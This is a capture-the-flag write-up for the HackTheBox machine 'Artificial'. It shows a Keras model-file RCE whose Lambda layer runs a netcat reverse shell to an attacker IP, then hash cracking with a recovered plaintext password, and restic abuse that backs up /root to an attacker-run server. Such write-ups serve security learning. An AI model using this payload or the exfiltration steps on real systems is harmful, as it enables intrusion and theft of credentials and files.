---
# System prepended metadata

title: Artificial
tags: [Hackthebox, linux]

---

# Artificial 
![image](https://hackmd.io/_uploads/SyGMPyF4le.png)

## 0x1 Recon
### Rustscan
* ![image](https://hackmd.io/_uploads/SkY4DktVgx.png)

### Nmap
* ![image](https://hackmd.io/_uploads/rJfnK1tNxx.png)

### Website
* ![image](https://hackmd.io/_uploads/BySk5JFVll.png)


### Dirsearch
* ![image](https://hackmd.io/_uploads/SJaTt1tNxg.png)

## 0x2 Tensorflow RCE
* Seems like AI module website, and have a login page and register page
    * ![image](https://hackmd.io/_uploads/BJ48cJKVex.png)
    * ![image](https://hackmd.io/_uploads/BkIwqyYEle.png)
* When I register as `admin, system shows this username already exist
    * ![image](https://hackmd.io/_uploads/S12sOM54xg.png)
* Login as user 123 we created, is upload page here, it accept the .h5 file
    * ![image](https://hackmd.io/_uploads/rJPzQNcVxl.png)
    * ![image](https://hackmd.io/_uploads/HJoBXNq4lx.png)

:::info
HDF5 is a file format of the HDF (Hierarchical Data Format) which is designed to store and organize large amounts of data.
:::

* I make a revershell with `msfvenom` and named `rev.h5`, upload to the website
    * ![image](https://hackmd.io/_uploads/HJAAzwq4ex.png)
    * ![image](https://hackmd.io/_uploads/HJwJQvqVlx.png)

* Click the `View Predictions` button, will lead us to `run_model`, but I'm not receive the shell
    * ![image](https://hackmd.io/_uploads/HJLm1OcNgl.png)
    * ![image](https://hackmd.io/_uploads/S1FMnO5Exg.png)

* Download two file from the website
    * ![image](https://hackmd.io/_uploads/SJWXGUGSex.png)

* It used a libary call `tensorflow-cpu` on machine
    * ![image](https://hackmd.io/_uploads/S1dnMUMHgx.png)

:::info
`tensorflow` need python enviorment 3.6-3.9
:::

* Install `uv` and download the `python 3.8`, it will create a viturl enviorment
    * https://github.com/astral-sh/uv
    * ![image](https://hackmd.io/_uploads/SkeT0kErxe.png)


```bash=
curl -LsSf https://astral.sh/uv/install.sh | sh
uv python install 3.8
uv venv --python 3.8
source .venv/bin/activate.fish
```


* Follow this article I build the docker enviroment with docker file
    * https://splint.gitbook.io/cyberblog/security-research/tensorflow-remote-code-execution-with-malicious-model#getting-the-rce
    * ![image](https://hackmd.io/_uploads/SJGnVIGSgl.png)
    * ![image](https://hackmd.io/_uploads/B13fkraSgg.png)

```bash=
sudo docker build -t artifical .
sudo docker run -it my-image
```
* Then make a reverse shell unserialization script with this python code
    * ![image](https://hackmd.io/_uploads/SJwAGVaSxe.png)


```python=
import tensorflow as tf

def exploit(x):
    import os
    os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 4444 >/tmp/f")
    return x

model = tf.keras.Sequential()
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
```

* Upload the malicious file and click the `View Predictions` button then got shell as `app`
    * ![image](https://hackmd.io/_uploads/HkIAJraBee.png)
    * ![image](https://hackmd.io/_uploads/rJx6kBpHxe.png)


## 0x3 Shell as gael
* Some credential in `/instance`
    * ![image](https://hackmd.io/_uploads/r18mfB6Bxx.png)
    * ![image](https://hackmd.io/_uploads/r16cXr6ree.png)
* Use `hashcat` crack the `gael`'s hash and got his password
    * ![image](https://hackmd.io/_uploads/rkrHNSTBlx.png)
    * `gael:mattp005numbertwo`

* Connect machine as `gael` via ssh
    * ![image](https://hackmd.io/_uploads/B112VSaBle.png)
    * ![image](https://hackmd.io/_uploads/B1Da4BaSgl.png)


* Upload the `linpeas` and executed it
    * ![image](https://hackmd.io/_uploads/ryJaUHTHeg.png)
    * ![image](https://hackmd.io/_uploads/BJggwHaBgl.png)
    
* Interesting on this backupfile, but it just tar file, so only use `xvf` parameter
    * ![image](https://hackmd.io/_uploads/BkCEDraHgg.png)
    * ![image](https://hackmd.io/_uploads/SJLiKHpBxg.png)
```bash=
tar -xvf backrest_backup.tar.gz
```
* Password stored in `config.json`
    * ![image](https://hackmd.io/_uploads/rJUGsSpHgg.png)



## 0x4 Shell as root
* Need base64 decode first, then cracked the password
    * ![image](https://hackmd.io/_uploads/HJjAoSarle.png)
    * ![image](https://hackmd.io/_uploads/ByaHnrTBeg.png)
    * `root:!@#$%^`

* But it not a root's password, so I noticed on the open ports
    * ![image](https://hackmd.io/_uploads/rJylpSaBxl.png)
    * ![image](https://hackmd.io/_uploads/BJggwHaBgl.png)

* Port forward the 9898 port
    * ![image](https://hackmd.io/_uploads/HkEdaHprlx.png)
    * ![image](https://hackmd.io/_uploads/rJARTS6Hxx.png)

```bash=
ssh gael@10.10.11.74 -L 9898:127.0.0.1:9898
ss -tuln
```

* Login `Backrest` as backrest_root 
    * ![image](https://hackmd.io/_uploads/r13E0STHxg.png)

* Creat a repo
    * ![image](https://hackmd.io/_uploads/Hk77yITHgg.png)
    * ![image](https://hackmd.io/_uploads/HkJN1LaBgx.png)


* It was found that this function is based on `restic` command, so follow the GTFObins
    * ![image](https://hackmd.io/_uploads/rJit1IpSxx.png)
    * https://gtfobins.github.io/gtfobins/restic/

* I build a restic server first
    * ![image](https://hackmd.io/_uploads/ryTJ-UTBel.png)
    * https://github.com/restic/rest-server/releases/tag/v0.14.0
    * ![image](https://hackmd.io/_uploads/H1-87UpSlg.png)

```bash=
./rest-server  --path /tmp/restic-data --listen ":$RPORT" --no-auth
```

* Then back to repo1 run the command below
    * ![image](https://hackmd.io/_uploads/rJVpNUpBxe.png)
```bash=
init -r rest:http://10.10.16.2:12345/myrepo
```

* Backup the `/root` folder
    * ![image](https://hackmd.io/_uploads/ByeDBUprxg.png)
```bash=
-r rest:http://10.10.16.2:12345/myrepo backup /root
```

* Check and restore the snapshot
    * ![image](https://hackmd.io/_uploads/B1OZULTHll.png)
```bash=
restic -r /tmp/restic-data/myrepo snapshots
restic -r /tmp/restic-data/myrepo restore b5b6e87a --target ./restore
```

* And got root.txt & id_rsa
    * ![image](https://hackmd.io/_uploads/S1hPIUTSlg.png)
    * ![image](https://hackmd.io/_uploads/B10GPL6ree.png)





